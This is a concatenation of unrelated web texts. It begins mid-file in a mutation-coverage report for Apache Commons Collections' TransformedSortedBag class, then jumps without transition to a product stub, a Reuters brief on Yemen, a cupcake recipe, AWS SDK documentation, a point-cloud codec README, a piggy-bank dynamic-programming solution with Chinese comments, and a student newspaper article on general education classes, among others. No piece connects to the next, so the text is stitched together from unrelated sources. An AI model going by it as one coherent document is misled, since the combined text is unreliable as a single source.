| 66 | * Contrast this with {@link #transformingSortedBag(SortedBag, Transformer)}. | |
| 67 | * | |
| 68 | * @param <E> the type of the elements in the bag | |
| 69 | * @param bag the bag to decorate, must not be null | |
| 70 | * @param transformer the transformer to use for conversion, must not be null | |
| 71 | * @return a new transformed SortedBag | |
| 72 | * @throws IllegalArgumentException if bag or transformer is null | |
| 73 | * @since 4.0 | |
| 74 | */ | |
| 75 | public static <E> TransformedSortedBag<E> transformedSortedBag(final SortedBag<E> bag, | |
| 76 | final Transformer<? super E, ? extends E> transformer) { | |
| 77 | ||
| 78 | final TransformedSortedBag<E> decorated = new TransformedSortedBag<E>(bag, transformer); | |
| 79 |
4
1. transformedSortedBag : changed conditional boundary → NO_COVERAGE 2. transformedSortedBag : negated conditional → NO_COVERAGE 3. transformedSortedBag : negated conditional → NO_COVERAGE 4. transformedSortedBag : negated conditional → NO_COVERAGE |
if (transformer != null && bag != null && bag.size() > 0) { |
| 80 | @SuppressWarnings("unchecked") // bag is type E | |
| 81 | final E[] values = (E[]) bag.toArray(); // NOPMD - false positive for generics | |
| 82 |
1
1. transformedSortedBag : removed call to org/apache/commons/collections4/SortedBag::clear → NO_COVERAGE |
bag.clear(); |
| 83 |
3
1. transformedSortedBag : changed conditional boundary → NO_COVERAGE 2. transformedSortedBag : Changed increment from 1 to -1 → NO_COVERAGE 3. transformedSortedBag : negated conditional → NO_COVERAGE |
for (final E value : values) { |
| 84 | decorated.decorated().add(transformer.transform(value)); | |
| 85 | } | |
| 86 | } | |
| 87 |
1
1. transformedSortedBag : mutated return of Object value for org/apache/commons/collections4/bag/TransformedSortedBag::transformedSortedBag to ( if (x != null) null else throw new RuntimeException ) → NO_COVERAGE |
return decorated; |
| 88 | } | |
| 89 | ||
| 90 | //----------------------------------------------------------------------- | |
| 91 | /** | |
| 92 | * Constructor that wraps (not copies). | |
| 93 | * <p> | |
| 94 | * If there are any elements already in the bag being decorated, they | |
| 95 | * are NOT transformed. | |
| 96 | * | |
| 97 | * @param bag the bag to decorate, must not be null | |
| 98 | * @param transformer the transformer to use for conversion, must not be null | |
| 99 | * @throws IllegalArgumentException if bag or transformer is null | |
| 100 | */ | |
| 101 | protected TransformedSortedBag(final SortedBag<E> bag, final Transformer<? super E, ? extends E> transformer) { | |
| 102 | super(bag, transformer); | |
| 103 | } | |
| 104 | ||
| 105 | /** | |
| 106 | * Gets the decorated bag. | |
| 107 | * | |
| 108 | * @return the decorated bag | |
| 109 | */ | |
| 110 | protected SortedBag<E> getSortedBag() { | |
| 111 |
1
1. getSortedBag : mutated return of Object value for org/apache/commons/collections4/bag/TransformedSortedBag::getSortedBag to ( if (x != null) null else throw new RuntimeException ) → NO_COVERAGE |
return (SortedBag<E>) decorated(); |
| 112 | } | |
| 113 | ||
| 114 | //----------------------------------------------------------------------- | |
| 115 | ||
| 116 | public E first() { | |
| 117 |
1
1. first : mutated return of Object value for org/apache/commons/collections4/bag/TransformedSortedBag::first to ( if (x != null) null else throw new RuntimeException ) → NO_COVERAGE |
return getSortedBag().first(); |
| 118 | } | |
| 119 | ||
| 120 | public E last() { | |
| 121 |
1
1. last : mutated return of Object value for org/apache/commons/collections4/bag/TransformedSortedBag::last to ( if (x != null) null else throw new RuntimeException ) → NO_COVERAGE |
return getSortedBag().last(); |
| 122 | } | |
| 123 | ||
| 124 | public Comparator<? super E> comparator() { | |
| 125 |
1
1. comparator : mutated return of Object value for org/apache/commons/collections4/bag/TransformedSortedBag::comparator to ( if (x != null) null else throw new RuntimeException ) → NO_COVERAGE |
return getSortedBag().comparator(); |
| 126 | } | |
| 127 | ||
| 128 | } | |
Mutations | ||
| 57 |
1.1 |
|
| 79 |
1.1 2.2 3.3 4.4 |
|
| 82 |
1.1 |
|
| 83 |
1.1 2.2 3.3 |
|
| 87 |
1.1 |
|
| 111 |
1.1 |
|
| 117 |
1.1 |
|
| 121 |
1.1 |
|
| 125 |
1.1 |


Quality Masks
Link 1
Link 2
Link 3
Quality Mask ™
Made with quality. Only the best.
Introducing our latest product


Emariti soldier in Saudi-led coalition fighting in Yemen killed in Najran: WAM
CAIRO (Reuters) - An Emariti soldier in the United Arab Emirates troops that are part of the Saudi-led coalition fighting in Yemen was killed in Saudi Arabia’s Najran area on Wednesday, Emirates state news agency (WAM) reported.
No further details are available.


Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Makes 9 large cupcakes
Dietary
This delicious cupcake recipe is easy to whip up and makes a spooky Halloween treat.
Preheat the oven to 180C/350F/Gas 4. Line a muffin tray with 9 paper cases.
Sift the flour, cocoa powder and baking powder into a bowl. Add the sugar and butter and beat the mixture together until well combined.
Whisk in the egg and milk until the mixture is thick and smooth.
Divide the mixture between the paper case and bake in the oven for 20-25 minutes, or until springy to the touch and skewer inserted into the middle of one of the cakes comes out clean. Set aside to cool on a wire rack.
For the cream cheese icing, beat the cream cheese and butter together in a bowl until well combined. Beat in the icing sugar and vanilla.

For the chocolate icing, sift the icing sugar and cocoa powder into a bowl. Stir in 2 tablespoons of water to form a smooth, thick icing.
Transfer the mixture to a piping bag with a fine nozzle. (Alternatively, spoon the mixture into the corner of a sandwich bag and snip off the corner, to form a small hole.)
Carefully pipe 3 concentric circles onto each cupcake. Run a toothpick from the centre to the edge of the cake, through each circle of icing, at 2cm/1in intervals to create a cobweb effect.
Set aside for 20 minutes to allow the icing to harden.


{% extends "simplebase.html" %} {% block content %}
Audible & kindle are a great source for gathering audio & text data needed for voice cloning.
To build a data source, firstly purchase a matching audible & kindle book (typically referred to whispersync on amazon)
To convert an audible audio book to an audio file (.mp3) I use AaxAudioConverter. Here are the steps to install and use:
To convert a kindle book to text file (.txt) I developed an extension found in the dataset folder of this project. Here are the steps to install and use:


Class: Aws::ApplicationDiscoveryService::Client
| Relationships & Source Files | |
| Super Chains via Extension / Inclusion / Inheritance | |
|
Class Chain:
self,
::Seahorse::Client::Base
|
|
|
Instance Chain:
|
|
| Inherits: |
Seahorse::Client::Base
|
| Defined in: | (unknown) |
Overview
An API client for AWS Application Discovery Service. To construct a client, you need to configure a :region
and :credentials
.
applicationdiscoveryservice = Aws::ApplicationDiscoveryService::Client.new(
region: region_name,
credentials: credentials,
# ...
)
See #initialize
for a full list of supported configuration options.
Region
You can configure a default region in the following locations:
ENV['AWS_REGION']
Aws.config[:region]
Go here for a list of supported regions.
Credentials
Default credentials are loaded automatically from the following locations:
ENV['AWS_ACCESS_KEY_ID']
andENV['AWS_SECRET_ACCESS_KEY']
Aws.config[:credentials]
- The shared credentials ini file at
~/.aws/credentials
(more information) - From an instance profile when running on EC2
You can also construct a credentials object from one of the following classes:
- ::Aws::Credentials
- ::Aws::SharedCredentials
- ::Aws::InstanceProfileCredentials
- ::Aws::AssumeRoleCredentials
Alternatively, you configure credentials with :access_key_id
and
:secret_access_key
:
# load credentials from disk
creds = YAML.load(File.read('/path/to/secrets'))
Aws::ApplicationDiscoveryService::Client.new(
access_key_id: creds['access_key_id'],
secret_access_key: creds['secret_access_key']
)
Always load your credentials from outside your application. Avoid configuring credentials statically and never commit them to source control.
Class Method Summary
-
.new(options = {}) ⇒ Aws::ApplicationDiscoveryService::Client
constructor
Constructs an API client.
::Seahorse::Client::Base - Inherited
| .add_plugin | Registers a plugin with this client. |
| .api, .clear_plugins, .define, | |
| .extend | Alias for Seahorse::Client::Base.define. |
| .new | See additional method definition at line 18. |
| .plugins | Returns the list of registered plugins for this Client. |
| .remove_plugin, .set_api, .set_plugins |
Instance Attribute Summary
::Seahorse::Client::Base - Inherited
Instance Method Summary
-
#associate_configuration_items_to_application(options = {}) ⇒ Struct
Associates one or more configuration items with an application.
. -
#create_application(options = {}) ⇒ Types::CreateApplicationResponse
Creates an application with the given name and description.
. -
#create_tags(options = {}) ⇒ Struct
Creates one or more tags for configuration items.
-
#delete_applications(options = {}) ⇒ Struct
Deletes a list of applications and their associations with configuration items.
. -
#delete_tags(options = {}) ⇒ Struct
Deletes the association between configuration items and one or more tags.
-
#describe_agents(options = {}) ⇒ Types::DescribeAgentsResponse
Lists agents or the Connector by ID or lists all agents/Connectors associated with your user account if you did not specify an ID.
. -
#describe_configurations(options = {}) ⇒ Types::DescribeConfigurationsResponse
Retrieves attributes for a list of configuration item IDs.
-
#describe_export_configurations(options = {}) ⇒ Types::DescribeExportConfigurationsResponse
Deprecated.
-
#describe_export_tasks(options = {}) ⇒ Types::DescribeExportTasksResponse
Retrieve status of one or more export tasks.
-
#describe_tags(options = {}) ⇒ Types::DescribeTagsResponse
Retrieves a list of configuration items that are tagged with a specific tag.
-
#disassociate_configuration_items_from_application(options = {}) ⇒ Struct
Disassociates one or more configuration items from an application.
. -
#export_configurations(options = {}) ⇒ Types::ExportConfigurationsResponse
Deprecated.
-
#get_discovery_summary(options = {}) ⇒ Types::GetDiscoverySummaryResponse
Retrieves a short summary of discovered assets.
. -
#list_configurations(options = {}) ⇒ Types::ListConfigurationsResponse
Retrieves a list of configuration items according to criteria that you specify in a filter.
-
#list_server_neighbors(options = {}) ⇒ Types::ListServerNeighborsResponse
Retrieves a list of servers that are one network hop away from a specified server.
. -
#start_data_collection_by_agent_ids(options = {}) ⇒ Types::StartDataCollectionByAgentIdsResponse
Instructs the specified agents or connectors to start collecting data.
. -
#start_export_task(options = {}) ⇒ Types::StartExportTaskResponse
Export the configuration data about discovered configuration items and relationships to an S3 bucket in a specified format.
. -
#stop_data_collection_by_agent_ids(options = {}) ⇒ Types::StopDataCollectionByAgentIdsResponse
Instructs the specified agents or connectors to stop collecting data.
. -
#update_application(options = {}) ⇒ Struct
Updates metadata about an application.
. -
#wait_until(waiter_name, params = {}) {|waiter| ... } ⇒ Boolean
Waiters polls an API operation until a resource enters a desired state.
-
#waiter_names ⇒ Array<Symbol>
Returns the list of supported waiters.
::Seahorse::Client::Base - Inherited
| #build_request | Builds and returns a |
| #operation, #operation_names |
::Seahorse::Client::HandlerBuilder - Included
Constructor Details
.new(options = {}) ⇒ Aws::ApplicationDiscoveryService::Client
Constructs an API client.
Instance Method Details
#associate_configuration_items_to_application(options = {}) ⇒ Struct
Associates one or more configuration items with an application.
#create_application(options = {}) ⇒ Types::CreateApplicationResponse
Creates an application with the given name and description.
#create_tags(options = {}) ⇒ Struct
Creates one or more tags for configuration items. Tags are metadata that help you categorize IT assets. This API accepts a list of multiple configuration items.
#delete_applications(options = {}) ⇒ Struct
Deletes a list of applications and their associations with configuration items.
#delete_tags(options = {}) ⇒ Struct
Deletes the association between configuration items and one or more tags. This API accepts a list of multiple configuration items.
#describe_agents(options = {}) ⇒ Types::DescribeAgentsResponse
Lists agents or the Connector by ID or lists all agents/Connectors associated with your user account if you did not specify an ID.
#describe_configurations(options = {}) ⇒ Types::DescribeConfigurationsResponse
Retrieves attributes for a list of configuration item IDs. All of the supplied IDs must be for the same asset type (server, application, process, or connection). Output fields are specific to the asset type selected. For example, the output for a server configuration item includes a list of attributes about the server, such as host name, operating system, and number of network cards.
For a complete list of outputs for each asset type, see Using the DescribeConfigurations Action.
#describe_export_configurations(options = {}) ⇒ Types::DescribeExportConfigurationsResponse
Deprecated. Use DescribeExportTasks
instead.
Retrieves the status of a given export process. You can retrieve status from a maximum of 100 processes.
#describe_export_tasks(options = {}) ⇒ Types::DescribeExportTasksResponse
Retrieve status of one or more export tasks. You can retrieve the status of up to 100 export tasks.
#describe_tags(options = {}) ⇒ Types::DescribeTagsResponse
Retrieves a list of configuration items that are tagged with a specific tag. Or retrieves a list of all tags assigned to a specific configuration item.
#disassociate_configuration_items_from_application(options = {}) ⇒ Struct
Disassociates one or more configuration items from an application.
#export_configurations(options = {}) ⇒ Types::ExportConfigurationsResponse
Deprecated. Use StartExportTask
instead.
Exports all discovered configuration data to an Amazon S3 bucket or an application that enables you to view and evaluate the data. Data includes tags and tag associations, processes, connections, servers, and system performance. This API returns an export ID that you can query using the DescribeExportConfigurations API. The system imposes a limit of two configuration exports in six hours.
#get_discovery_summary(options = {}) ⇒ Types::GetDiscoverySummaryResponse
Retrieves a short summary of discovered assets.
#list_configurations(options = {}) ⇒ Types::ListConfigurationsResponse
Retrieves a list of configuration items according to criteria that you specify in a filter. The filter criteria identifies the relationship requirements.
#list_server_neighbors(options = {}) ⇒ Types::ListServerNeighborsResponse
Retrieves a list of servers that are one network hop away from a specified server.
#start_data_collection_by_agent_ids(options = {}) ⇒ Types::StartDataCollectionByAgentIdsResponse
Instructs the specified agents or connectors to start collecting data.
#start_export_task(options = {}) ⇒ Types::StartExportTaskResponse
Export the configuration data about discovered configuration items and relationships to an S3 bucket in a specified format.
#stop_data_collection_by_agent_ids(options = {}) ⇒ Types::StopDataCollectionByAgentIdsResponse
Instructs the specified agents or connectors to stop collecting data.
#update_application(options = {}) ⇒ Struct
Updates metadata about an application.
#wait_until(waiter_name, params = {}) {|waiter| ... } ⇒ Boolean
Waiters polls an API operation until a resource enters a desired state.
Basic Usage
Waiters will poll until they are succesful, they fail by entering a terminal state, or until a maximum number of attempts are made.
# polls in a loop, sleeping between attempts client.waiter_until(waiter_name, params)
Configuration
You can configure the maximum number of polling attempts, and the
delay (in seconds) between each polling attempt. You configure
waiters by passing a block to #wait_until
:
# poll for ~25 seconds
client.wait_until(...) do |w|
w.max_attempts = 5
w.delay = 5
end
Callbacks
You can be notified before each polling attempt and before each
delay. If you throw :success
or :failure
from these callbacks,
it will terminate the waiter.
started_at = Time.now
client.wait_until(...) do |w|
# disable max attempts
w.max_attempts = nil
# poll for 1 hour, instead of a number of attempts
w.before_wait do |attempts, response|
throw :failure if Time.now - started_at > 3600
end
end
Handling Errors
When a waiter is successful, it returns true
. When a waiter
fails, it raises an error. All errors raised extend from
::Aws::Waiters::Errors::WaiterFailed.
begin
client.wait_until(...)
rescue Aws::Waiters::Errors::WaiterFailed
# resource did not enter the desired state in time
end
#waiter_names ⇒ Array
<Symbol
>
Returns the list of supported waiters. The following table lists the supported waiters and the client method they call:
| Waiter Name | Client Method | Default Delay: | Default Max Attempts: |
|---|


About This Site
These tactics are some of my favourites from "Chess Tactics for Advanced Players" by Viktor Vamos. If you enjoyed the tactics here, I thoroughly recommend picking this
book up.
If you find any glitches or can propose any improvements, please contact me at<EMAIL_ADDRESS>Cheers!


The mission of Gathering Strength Inc., is:
Empowering people with physically disabling conditions to maintain and improve their health and wellness by ensuring access to therapeutic physical activity.
Gathering Strength's goals are to help people:
Gathering Strength's services and activities include:
Hover over the picture to pause the scrolling.
Click the name to see the person's story.
Gathering Strength Inc. helps people with disabling conditions, such as spinal cord injury and stroke, to engage in therapeutic physical activity.
Gathering Strength partners with Frazier Rehab Institute's Community Fitness and Wellness program to provide a wide variety of accessible exercise opportunitites.
Click the name in any picture to see more information including videos and pictures. Or click this button to go to our "Get Inspired" page. Get Inspired
If you would like to receive alerts about upcoming opportunities, please sign up for alerts. Get Alerts
Communitiy Fitness and Wellness Program at Frazier Rehab Institute, Louisville, Ky -- https://www.kentuckyonehealth.org/community-fitness-wellness-facility
Evidence-based scientific exercise guidelines for adults with spinal cord injury. Spinal Cord, volume 56, pages308–321 (2018)
Exercise Resources. From ICORD's Physical Activity Resource Centre
Physical and exercise recommendations for Stroke Survivors. American Heart Association 2014.
REACH Lab Research in Exercise and Cardiovascular Health (REACH)
Food, Weight and Health for people with Spinal Cord Injury. Spinalis Foundation
Tips for Managing Stress while living with paralysis Christopher and Dana Reeve Foundation


--- date: 2014-12-15 11:00:02 author: Jen Gray title: "PhoneGap Day US 2014: Mobify Perceived Performance in PhoneGap Apps" format: html tags: - PhoneGap Day - Event - Community ---
A big thanks to everyone who was able to make it to PhoneGap Day US. We'll be posting more videos from the conference so check back on our blog or Youtube channel.
Our next session comes from the incredible Mobify team.
Making users believe your app is fast is just as important as actual speed. Your users don’t care about the metrics behind performance — they care about how fast it feels. In this workshop we'll cover the history of perceived performance, how you can measure it and provide practical skills for improving how fast your application feels. Some of the strategies we'll cover include providing instant feedback, seamless feeling loading animations, taking advantage of the GPU and familiar physics for gestures as well as pre-emptive loading performance hacks.
Kyle Peatt, Design Manager, Mobify | @kpeatt
Justin Vaillancourt, Engineer, Mobify | @jvaill
Zachary Halvorson, Designer, Mobify | @zachhalvorson


onnxcustom: deploy, train machine learned models¶
Examples, tutorial on how to convert machine learned models into ONNX,
implement your own converter or runtime, or even train with ONNX,
onnxruntime.
The documentation introduces onnx, onnxruntime for
inference and training. It implements training classes following
scikit-learn based on onnxruntime-training enabling training
linear models, neural networks on CPU or GPU.
It implements tools to manipulate logs produced NVidia Profiler logs
(convert_trace_to_json
),
tools to manipulate onnx graphs.
Section API summarizes APIs for onnx, onnxruntime, and this package. Section Tutorials explains the logic behind onnx, onnxruntime and this package. It guides the user through all the examples this documentation contains.
Contents
Sources are available on github/onnxcustom. Package is available on pypi, pyquickhelper: automation of many things, and a blog for unclassified topics blog. The tutorial related to scikit-learn has been merged into sklearn-onnx documentation. This package supports ONNX opsets to the latest opset stored in onnxcustom.__max_supported_opset__ which is:
<<<
import onnxcustom
print(onnxcustom.__max_supported_opset__)
>>>
15
Any opset beyond that value is not supported and could fail. That’s for the main set of ONNX functions or domain. Converters for scikit-learn requires another domain, ‘ai.onnxml’ to implement tree. Latest supported options are defined here:
<<<
import pprint
import onnxcustom
pprint.pprint(onnxcustom.__max_supported_opsets__)
>>>
{'': 15, 'ai.onnx.ml': 2}


This distribution contains a codec for encoding/decoding 3D Point Cloud data streams, and a toolset for its objective evaluation.
The codec is described in detail in a journal paper(R. Mekuria, K. Blom, and P. Cesar, "Design, Implementation and Evaluation of a Point Cloud Codec for Tele-Immersive Video," IEEE Transactions on Circuits and Systems for Video Technology, 27(4): 828 -842, 2017, of which a preprint is available at: https://ir.cwi.nl/pub/24395.
The codec has served as the software to generate the anchors for the Call for Proposals for Point Cloud Compression by the MPEG working group 3DG-PCC on PointCloud Compression
(http://mpeg.chiariglione.org/standards/exploration/point-cloud-compression).
This version can be build on Ubuntu 16.04 (64 bit) or Windows 32 bit, using pre-build PointCloudLibrary(PCL) installers, or on many other systems by downloading and building PCL and its dependencies.
This package contains:
To use it, several dependencies (Boost,Eigen,Flann,QHull,VTK and libjpeg-turbo) need to be installed:
On a clean Ubuntu 16.04 installation, start 'Terminal' and install the basic tools and 3rd party packages packages:
sudo apt-get install -y git build-essential linux-libc-dev cmake cmake-gui cmake cmake-gui libusb-1.0-0-dev libusb-dev libudev-dev mpi-default-dev openmpi-bin openmpi-common libflann1.8 libflann-dev libeigen3-dev libboost-all-dev libvtk6.2-qt libvtk6.2 libvtk6-dev libvtk6-qt-dev libqhull* libgtest-dev freeglut3-dev pkg-config libxmu-dev libxi-dev mono-complete qt-sdk openjdk-8-jdk openjdk-8-jre libopenni0 libopenni-sensor-pointclouds0 libopenni-dev libopenni-sensor-pointclouds-dev libproj-dev libjpeg-turbo8-dev
Get the PCL-1.8 (Point CLoud Librarry) installer for Ubuntu 16.04 64-bit:
wget https://www.dropbox.com/s/9llzm20pc4opdn9/PCL-1.8.0-Linux.deb
(see also: 'https://larrylisky.com/2014/03/03/installing-pcl-on-ubuntu/')
(prior versions of PCL are not recommended, e.g. in PCL1.7 visualization does not work properly)
Install PCL-1.8: sudo dpkg -i PCL-1.8.0-Linux.deb
This installer has a bug, for which a patch is to be used: 'cd' to the directory 'cwi-pcl-codec' (where this file README.md was distributed), and type: (PATCH=$PWD/PCLConfig-Ubuntu16.04.patch;cd /;sudo patch -p1 < $PATCH)
Start 'cmake-gui', specify the directory where this file is located in 'Where is the source code', another empty directory 'Where to build the binaries', and select 'Unix Makefiles' in the 'CMakeSetup' pop-up window. Click(tap) 'Configure', and 'Generate'.
Now the codec libraries and evaluation tools can be build by typing 'make' in the directory that was specified in 'cmake-gui' to build the binaries.
Install 'Visual Studio (2015)' and 'cmake-gui'
Install PCL-1.8 and all 3rd party packages that it needs using its All-In-One Installer from 'http://unanancyowen.com/en/pcl18/': 'https://1drv.ms/u/s!ApoY_0Ymu57sg5QkeGyAxxAmuI4j0g' (32 bit installer)
Install 'libjpeg-turbo' from 'www.libjpeg-turbo.org': https://sourceforge.net/projects/libjpeg-turbo/files/1.5.1/libjpeg-turbo-1.5.1-gcc.exe (32 bit installer)
Start 'cmake-gui', select for 'source code' the directory 'cwi-pcl-codec' (where this file README.md distributed), and for 'binaries' another directory
Search for 'jpeg', for JPEG_INCLUDES specify 'C:libjpeg-turbo-gcc/include' and for 'JPEG_LIBRARY' 'libjpeg-turbo-gcc/lib/turbojpeg'. Next select 'Configure' and 'Generate', and you'll find a Microsoft Visual Studio Solution in the directory that was specified for 'binaries'.
Start Visual Studio with the 'Solution' file created in the prious paragraph and select 'Build->Build Solution'.
After successfull building, the program 'evaluate_compression.exe' can be found in the directory: 'binaries'\apps\evaluate_compression\Debug. Before running, adapt the following environment variable: set path=%path%;C:\libjpeg-turbo-gcc\bin;C:\Program Files (x86)\OpenNI2\Tools
Suitable input files for the program can be downloaded from: http://vcl.iti.gr/reconstruction/
Most of these data sets are huge; unpack some and specify the full directory path as an argument
to the program:
evaluate_compression --input_directories=
Get PCL source code from 'https://github.com/PointCloudLibrary/pcl/releases/tag/pcl-1.8.0' (note that the source code in the PCL development tree is not compatible with this package).
Get 3rd party packages: follow the instructions in: http://pointclouds.org/documentation/tutorials/compiling_pcl_dependencies_windows.php or http://pointclouds.org/documentation/tutorials/compiling_pcl_macosx.php#compiling-pcl-macosx Be aware that the version numbers of some 3rd party packages are outdated and should match those used in the 'apt-install' commands above.
Use 'cmake-gui' to configure and generate the files for building PCL
Use 'cmake-gui' to configure and generate the files for building the addional libraries and excutables in this package.
The following arguments are recognized by the program 'evaluate_compression':
(long version arguments without '--' can also be put in a file 'parameter_config.txt' in the working directory or its parent)
-h [ --help ] produce help message
-K [ --K_outlier_filter ] arg (=0) K neighbours for radius outlier filter
--radius arg (=0.01) radius outlier filter, maximum radius
-g [ --group_size ] arg (=0) maximum number of files to be compressed together (0=read all files, then en(de)code 1 by 1)
-f [ --bb_expand_factor ] arg (=0.2) bounding box expansion bto keep bounding box accross frames
-a [ --algorithm ] arg (=V2) compression algorithm ('V1' or 'V2')
-i [ --input_directories ] arg Directory containing supported files (.pcd or .ply)
-o [ --output_directory ] arg Directory to store decompressed pointclouds (.ply)
-s [ --show_statistics ] [=arg(=1)] (=0) gather and show a bunch of releavant statistical data
-v [ --visualization ] [=arg(=1)] (=0) show both original and decoded PointClouds graphically
-p [ --point_resolution ] arg (=0.2) XYZ resolution of point coordinates
-r [ --octree_resolution ] arg (=0.2) voxel size
-b [ --octree_bits ] arg (=11) octree resolution (bits)
-c [ --color_bits ] arg (=8) color resolution (bits)
-e [ --enh_bits ] arg (=0) bits to code the points towards the center
-t [ --color_coding_type ] arg (=1) pcl=0,jpeg=1 or graph transform
-m [ --macroblock_size ] arg (=16) size of macroblocks used for predictive frame (has to be a power of 2)
--keep_centroid arg (=0) keep voxel grid positions or not
--create_scalable arg (=0) create scalable bitstream (not yet implemented)
--do_connectivity_coding arg (=0) connectivity coding (not yet implemented)
--icp_on_original arg (=0) icp_on_original
-q [ --jpeg_quality ] arg (=0) jpeg quality parameter
-d [ --do_delta_coding ] arg (=0) use delta (predictive) en(de)coding
--do_quality_computation arg (=0) compute quality of en(de)coding
--do_icp_color_offset arg (=0) do color offset en(de)coding on predictive frames
-j [ --num_threads ] arg (=1) number of parallel threads (1=default, single thread, no parallel execution)
--intra_frame_quality_csv arg (=intra_frame_quality.csv) intra frame coding quality results filename (.csv file)
--predictive_quality_csv arg (=predictive_quality.csv) predictive coding quality results file name (.csv file)
--debug_level arg (=0) debug print level (0=no debug print, 3=all debug print)
The precise meanings of these parameters are explained in the journal paper mentioned above.
Apr.6, 2017, last updated: Jun 25, 2017.
Kees Blom<EMAIL_ADDRESS>CWI, Amsterdam, The Netherlands


Piggy-Bank
问题描述 :
Before ACM can do anything, a budget must be prepared and the necessary financial support obtained. The main income for this action comes from Irreversibly Bound Money (IBM). The idea behind is simple. Whenever some ACM member has any small money, he takes all the coins and throws them into a piggy-bank. You know that this process is irreversible, the coins cannot be removed without breaking the pig. After a sufficiently long time, there should be enough cash in the piggy-bank to pay everything that needs to be paid.
But there is a big problem with piggy-banks. It is not possible to determine how much money is inside. So we might break the pig into pieces only to find out that there is not enough money. Clearly, we want to avoid this unpleasant situation. The only possibility is to weigh the piggy-bank and try to guess how many coins are inside. Assume that we are able to determine the weight of the pig exactly and that we know the weights of all coins of a given currency. Then there is some minimum amount of money in the piggy-bank that we can guarantee. Your task is to find out this worst case and determine the minimum amount of cash inside the piggy-bank. We need your help. No more prematurely broken pigs!
输入:
The input consists of T test cases. The number of them (T) is given on the first line of the input file. Each test case begins with a line containing two integers E and F.  Both weights are given in grams. No pig will weigh more than 10 kg, that means 1 <= E <= F <= 10000. On the second line of each test case, there is an integer number N (1 <= N <= 500) that gives the number of various coins used in the given currency. Following this are exactly N lines, each specifying one coin type. These lines contain two integers each, Pand W (1 <= P <= 50000, 1 <= W <=10000). P is the value of the coin in monetary units, W is it's weight in grams.
输出:
Print exactly one line of output for each test case. The line must contain the sentence “The minimum amount of money in the piggy-bank is X.” where X is the minimum amount of money that can be achieved using coins with the given total weight. If the weight cannot be reached exactly, print a line “This is impossible.”.
样例输入:
3 10 110 2 1 1 30 50 10 110 2 1 1 50 30 1 6 2 10 3 20 4
样例输出:
The minimum amount of money in the piggy-bank is 60. The minimum amount of money in the piggy-bank is 100. This is impossible.
解题代码:
//* @author: ccQ.SuperSupper import java.io.*; import java.util.*; class Coin{ int price,weight; } public class Main { static final int N = 500+10,M = 10000+10; static int DP[] = new int[M],n,m; static Coin coin[] =new Coin[N]; static void start(){ for(int i=0;i< N;++i){ coin[i] =new Coin(); } } public static void main(String[]args) throws Exception{ int t,i,j; start(); StreamTokenizer cin = new StreamTokenizer(new BufferedReader(new InputStreamReader(System.in))); t = Get_Num(cin); while(t--!=0){ i = Get_Num(cin); j = Get_Num(cin); m = j-i; n = Get_Num(cin); for(i=0;i< n;++i){ coin[i].price = Get_Num(cin); coin[i].weight = Get_Num(cin); } solve(); if(DP[m]==-1) System.out.println("This is impossible."); else System.out.println("The minimum amount of money in the piggy-bank is "+DP[m]+"."); } } static int Get_Num(StreamTokenizer cin)throws Exception{ cin.nextToken(); return (int) cin.nval; } static void solve(){ int i,j; for(i=0;i<=m;++i) DP[i] = -1; DP[0] = 0; for(i=0;i< n;++i){ for(j=0;j<=m;++j) if(DP[j]>-1 && j+coin[i].weight<=m){ DP[j+coin[i].weight] = Min(DP[j+coin[i].weight],DP[j]+coin[i].price); } } } static int Min(int a,int b){ if(a==-1) return b; return a< b?a:b; } }
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,,,,,,,,,,,,,,,
学习了
算法是程序的灵魂，算法分简单和复杂，如果不搞大数据类，程序员了解一下简单点的算法也是可以的，但是会算法的一定要会编程才行，程序员不一定要会算法，利于自己项目需要的可以简单了解。
大致看了下，算法的时间复杂度没有很本性的提升，算不上高效。
为什么暴力求解方法循环到sqrt(n) 就可以了呢
参考 http://www.acmerblog.com/leetcode-solutions-6422.html
第二种想法，我想来好久，为啥需要一个newhead，发现是把最后一个节点一直返回到嘴上面这层函数。厉害，这道题之前没样子想过。
可以用公式。主要为了说明动态规划，如果要打表的话，这种方法也是较简单和高效的
int L[m+1][n+1];这样定义出错，这个在gcc上可以编译通过 在VS上不行 应该改为new 或者vector
顺利测试通过了，多谢
不错，赞一个！
最长回文子串可以使用manacher算法，将时间复杂度降到O(n)。
程序输出是对的，呈三角型。原程序是按C++写的，已经改成了C的


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This story is part of a series of specially designed stories that represents some of the best journalism The Post has to offer. Check out the rest of the special projects here.
RILEY SCOTT
05.30.19
For many students, general education classes are required for their respective major. As pointless as the classes may seem, some students found their Gen Ed classes to be worth taking.
Some students may wonder why they are required to sit through courses about the human anatomy when their major is art, but the knowledge obtained is more beneficial than they may think.
The Ohio University Gen Ed requirements are similar to the College of Arts and Sciences requirements. All courses that fulfill Gen Ed requirements, even if they are not arts and sciences courses, apply toward the 120 credit hours needed to graduate from OU.
“Non-major classes are a chance to learn how complex, fascinating and exciting the world really is”Hugh Martin, Professor
Many students believe classes unrelated to their major can be a waste of time and money, but Grant Guggenbiller, a junior studying chemical engineering, actually enjoyed his required English course.
Guggenbiller took English 1510: Writing and Rhetoric I during Spring Semester last year. The class consisted of primarily reading assignments, writing responses and full papers to work on throughout the week. It was nothing too strenuous for Guggenbiller, but what made his class so great was his professor, Brandon Bender.
“I really liked the class because the professor was really interesting,” he said. “His focus was monsters in literature, not specifically a beast or creature, but monsters as people doing horrific things. The readings, assignments and papers all dabbled with that concept of monsters.”
The content of the course made it easy to enjoy for Guggenbiller, but it was also a class he believed has helped improve his writing skills overall.
ILLUSTRATION | RILEY SCOTT
“I’m not the best writer, and that class definitely helped me get formatting down and how to reference stuff properly,” Guggenbiller said.
Guggenbiller believes being able to possess skills outside of his math and science fields is vital to making connections with people who think differently than himself.
“As much as STEM majors hate it, I think it’s important to take those kinds of classes,” Guggenbiller said. “Though the writing isn’t exactly the same as what we’re doing, it’s still nice to develop skills beyond just our math and science skills.”
To Hugh Martin, a professor who has taught Journalism 1050: Intro to Mass Communications for many years, non-major classes are a chance to sample topics that you might want to major in, but they are much more than just that.
“Non-major classes are a chance to learn how complex, fascinating and exciting the world really is,” Martin said in an email. “We live in a global, interconnected society, and throughout your life you will always be learning something new.”
Martin tries to make his Gen Ed course engaging for students by encouraging them to develop good study habits and speak up during lecture.
“A lot of students are understandably shy about participating in class,” Martin said. “But freshmen should know that other students in the class probably have the same questions and are just as reluctant to speak up.”
Having Gen Ed classes is a way Martin believes his students can awaken their curiosity and learn to introduce themselves to new topics. Every semester he has taught his class, many students have told him how beneficial it was to their learning.
